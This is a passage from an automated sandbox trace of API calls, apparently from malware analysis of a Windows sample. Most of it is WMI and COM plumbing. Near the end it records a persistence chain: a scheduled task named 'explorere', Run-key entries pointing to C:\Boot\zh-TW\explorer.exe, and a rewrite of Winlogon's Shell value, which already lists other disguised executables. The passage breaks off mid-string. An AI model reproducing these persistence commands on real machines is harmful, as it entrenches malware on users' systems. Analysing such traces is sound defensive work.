[5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d1f80) returned 0x0 [0118.152] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1f80, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0118.152] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1f80, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4aeda0) returned 0x0 [0118.152] WbemDefPath:IUnknown:Release (This=0x1b4d1f80) returned 0x0 [0118.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4aeda0) returned 0x0 [0118.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0118.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0118.167] WbemDefPath:IUnknown:AddRef (This=0x1b4aeda0) returned 0x3 [0118.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0118.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0118.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d21c0) returned 0x0 [0118.168] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d21c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.168] WbemDefPath:IUnknown:Release (This=0x1b4d21c0) returned 0x3 [0118.168] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0118.168] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0118.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0118.168] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x2 [0118.168] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x1 [0118.168] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0118.168] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0118.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4aeda0) returned 0x0 [0118.168] WbemDefPath:IUnknown:AddRef (This=0x1b4aeda0) returned 0x3 [0118.168] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x2 [0118.168] WbemDefPath:IWbemPath:SetText (This=0x1b4aeda0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0118.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0360, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0118.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aeda0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0118.168] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0118.168] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0118.169] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b0360) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aeda0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aeda0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aeda0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0118.169] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0360, uIndex=0x0, pszName="root") returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aeda0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aeda0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0118.169] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0360, uIndex=0x1, pszName="cimv2") returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4aeda0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4aeda0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0360, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0360, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0360, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0360, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0360, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0118.169] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0360, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0118.169] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0118.169] WbemLocator:IUnknown:AddRef (This=0x1b5118b8) returned 0x3 [0118.169] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b5118b8) returned 0x0 [0118.170] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x3 [0118.170] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x2 [0118.170] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0360, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0118.170] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0360, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0118.170] IWbemServices:GetObject (in: This=0x63c740, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d6b40, ppCallResult=0x0) returned 0x0 [0118.173] IWbemClassObject:GetMethod (in: This=0x1b4d6b40, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d7590, ppOutSignature=0x1b30d610*=0x1b4d9110) returned 0x0 [0118.173] IWbemClassObject:SpawnInstance (in: This=0x1b4d7590, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b4ad8d0) returned 0x0 [0118.174] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fa160*=0, plFlavor=0x27fa164*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fa160*=8, plFlavor=0x27fa164*=32) returned 0x0 [0118.174] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fa160*=8, plFlavor=0x27fa164*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fa160*=8, plFlavor=0x27fa164*=32) returned 0x0 [0118.174] IWbemClassObject:Put (This=0x1b4ad8d0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\zh-TW\\explorer.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0118.174] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fa1f0*=0, plFlavor=0x27fa1f4*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fa1f0*=13, plFlavor=0x27fa1f4*=32) returned 0x0 [0118.174] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fa1f0*=13, plFlavor=0x27fa1f4*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fa1f0*=13, plFlavor=0x27fa1f4*=32) returned 0x0 [0118.174] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d9ed0) returned 0x0 [0118.174] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0118.175] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0118.175] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0118.175] IUnknown:AddRef (This=0x1b4d9ed0) returned 0x3 [0118.175] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0118.175] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0118.175] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d9ed8) returned 0x0 [0118.175] IMarshal:GetUnmarshalClass (in: This=0x1b4d9ed8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0118.175] IUnknown:Release (This=0x1b4d9ed8) returned 0x3 [0118.175] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0118.175] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0118.175] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0118.175] IUnknown:Release (This=0x1b4d9ed0) returned 0x2 [0118.175] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0118.175] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0118.175] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0118.176] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0118.176] IUnknown:QueryInterface (in: This=0x1b4d9ed0, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0118.176] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0118.176] IUnknown:AddRef (This=0x1b4d9ed0) returned 0x3 [0118.176] IWbemClassObject:Put (This=0x1b4ad8d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d9ed0, varVal2=0x0), Type=0) returned 0x0 [0118.176] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af2e0, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0118.176] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0118.176] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0118.176] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0118.176] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0118.176] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0118.176] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0118.176] WbemLocator:IUnknown:AddRef (This=0x1b5118b8) returned 0x3 [0118.176] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b5118b8) returned 0x0 [0118.176] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x3 [0118.176] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x2 [0118.176] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0118.176] WbemLocator:IUnknown:AddRef (This=0x1b5118b8) returned 0x3 [0118.176] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b5118b8) returned 0x0 [0118.177] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x3 [0118.177] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x2 [0118.177] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0118.177] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0118.177] IWbemServices:ExecMethod (in: This=0x63c740, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b4ad8d0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b4521a0, ppCallResult=0x0) returned 0x0 [0118.257] IWbemClassObject:Get (in: This=0x1b4521a0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fa500*=0, plFlavor=0x27fa504*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1324, varVal2=0x0), pType=0x27fa500*=19, plFlavor=0x27fa504*=0) returned 0x0 [0118.257] IWbemClassObject:Get (in: This=0x1b4521a0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fa500*=19, plFlavor=0x27fa504*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1324, varVal2=0x0), pType=0x27fa500*=19, plFlavor=0x27fa504*=0) returned 0x0 [0118.257] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x490) returned 0x0 [0118.257] RegQueryValueExW (in: hKey=0x490, lpValueName="explorer", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0118.257] RegSetValueExW (in: hKey=0x490, lpValueName="explorer", Reserved=0x0, dwType=0x1, lpData="\"C:\\Boot\\zh-TW\\explorer.exe\"", cbData=0x3a | out: lpData="\"C:\\Boot\\zh-TW\\explorer.exe\"") returned 0x0 [0118.257] RegCloseKey (hKey=0x490) returned 0x0 [0118.258] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x490) returned 0x0 [0118.258] RegQueryValueExW (in: hKey=0x490, lpValueName="explorer", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0118.258] RegSetValueExW (in: hKey=0x490, lpValueName="explorer", Reserved=0x0, dwType=0x1, lpData="\"C:\\Boot\\zh-TW\\explorer.exe\"", cbData=0x3a | out: lpData="\"C:\\Boot\\zh-TW\\explorer.exe\"") returned 0x0 [0118.258] RegCloseKey (hKey=0x490) returned 0x0 [0118.258] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x490) returned 0x0 [0118.258] RegQueryValueExW (in: hKey=0x490, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x0, lpcbData=0x1b30d8b0*=0x0 | out: lpType=0x1b30d8b8*=0x1, lpData=0x0, lpcbData=0x1b30d8b0*=0x1c0) returned 0x0 [0118.258] RegQueryValueExW (in: hKey=0x490, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x27fb2a0, lpcbData=0x1b30d8b0*=0x1c0 | out: lpType=0x1b30d8b8*=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\"", lpcbData=0x1b30d8b0*=0x1c0) returned 0x0 [0118.258] RegQueryValueExW (in: hKey=0x490, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x1, lpData=0x0, lpcbData=0x1b30d880*=0x1c0) returned 0x0 [0118.259] RegSetValueExW (in: hKey=0x490, lpValueName="Shell", Reserved=0x0, dwType=0x1, lpData="explorer.exe, 